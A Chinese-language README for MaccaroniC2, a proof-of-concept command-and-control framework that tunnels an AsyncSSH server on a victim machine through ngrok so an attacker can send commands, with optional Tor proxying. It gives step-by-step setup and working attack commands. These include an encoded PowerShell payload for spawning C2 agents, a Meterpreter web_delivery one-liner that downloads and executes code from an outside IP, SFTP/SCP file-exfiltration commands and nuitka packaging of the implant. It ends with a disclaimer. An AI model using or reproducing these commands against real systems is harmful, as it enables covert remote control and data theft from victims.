
MaccaroniC2 是一个概念验证的命令与控制框架,它利用了强大的 AsyncSSH Python 库,该库提供了 SSHv2 协议的异步客户端和服务器实现,并使用 PyNgrok 封装来集成 ngrok。此工具针对一个特定场景设计:受害者在受控机器上运行 AsyncSSH 服务器并建立到外部的隧道,等待攻击者发送命令。
攻击者利用 Ngrok 官方 API 获取隧道的主机名和端口以建立连接。这种方法充分利用了 AsyncSSH 提供的全面能力,包括对 SFTP 和 SCP 的内置支持,从而促进安全高效的数据外泄等操作。
此外,攻击者还可以通过 SOCKS 代理发送和执行系统命令,利用例如 TOR 提供的匿名性增强优势。
运行 python3 gen_rsa.py 生成一对 SSH 密钥。新生成的 id_rsa 由攻击者用于连接到受害者机器上运行的服务器。
编辑 asyncssh_server.py 文件,将新生成的 id_rsa.pub 的内容填入 pub_key 变量。asyncssh_server.py 提供了 SSHv2 协议(含 SFTP 和 SCP 功能)的实现。这是受害者运行的脚本。
在 Ngrok 网站上创建一个免费账户,并记下 AUTH 令牌。
将 AUTH 令牌添加到 asyncssh_server.py 的 token 变量中,这需要硬编码在 ngrok_tunnel() 函数内部。
在 Ngrok 网站上创建一个免费的 API 密钥。记录下生成的字符串。
将 API 密钥字符串放入 async_commander.py 文件的 api_key 变量中。这允许我们在自动化过程中自动检索 Ngrok 域名和活动隧道的端口。
对 get_endpoints.py 文件执行相同步骤。此脚本会检索有关活动隧道的各种有用信息。
通过 async_commander.py 您可以向服务器发送任何命令。它会使用 Ngrok 官方 API 自动 请求由受害者激活的 Ngrok 隧道的域名和端口。
另请注意,id_rsa 需要与 async_commander.py 位于同一文件夹中。
在受害者机器上运行服务器:
python3 asyncssh_server.py
从攻击者机器通过 SOCKS 代理发送命令:
python3 asyncssh_commander.py "ls -la" --proxy socks5://127.0.0.1:9050
不通过代理发送命令:
python3 asyncssh_commander.py "whoami"
生成另一个 C2 代理(Powershell-Empire、Meterpreter 等):
python3 asyncssh_commander.py "powershell.exe -e ABJe...dhYte"
Meterpreter web_delivery 模块
python3 asyncssh_commander.py "python3 -c \"import sys; import ssl; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=('urlopen',)); r=u.urlopen('http://100.100.100.100:8080/YnrVekAsVF', context=ssl._create_unverified_context()); exec(r.read());\""
获取活动隧道列表:
python3 get_endpoints.py
生成新的 RSA 密钥对:
python3 gen_rsa.py
使用 SFTP 和 SCP - 您不需要有效的用户名,只需要正确的 id_rsa
proxychains sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -o ProxyCommand="nc -x localhost:9050 %h NGROK_PORT" source_file ddddd@NGROK_HOST:destination_path
sftp -P PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -P PORT source_file ddddd@NGROK_HOST:destination_path
python -m pip install nuitka
python -m nuitka --standalone --onefile asyncssh_server.py
https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py
免责声明:此工具仅供测试和教育用途。只能在获得适当授权的系统上使用。任何未经授权或非法使用此工具的行为均被严格禁止。此工具的创建者不对因使用本工具而导致的任何误用或损害承担责任。请确保在使用本工具时遵守适用的法律法规。此外,需注意此工具与 Ngrok 的结合使用可能会违反某些平台的服务条款或政策。建议审查并遵守任何平台或服务的使用条款,以避免潜在的账户封禁或中断。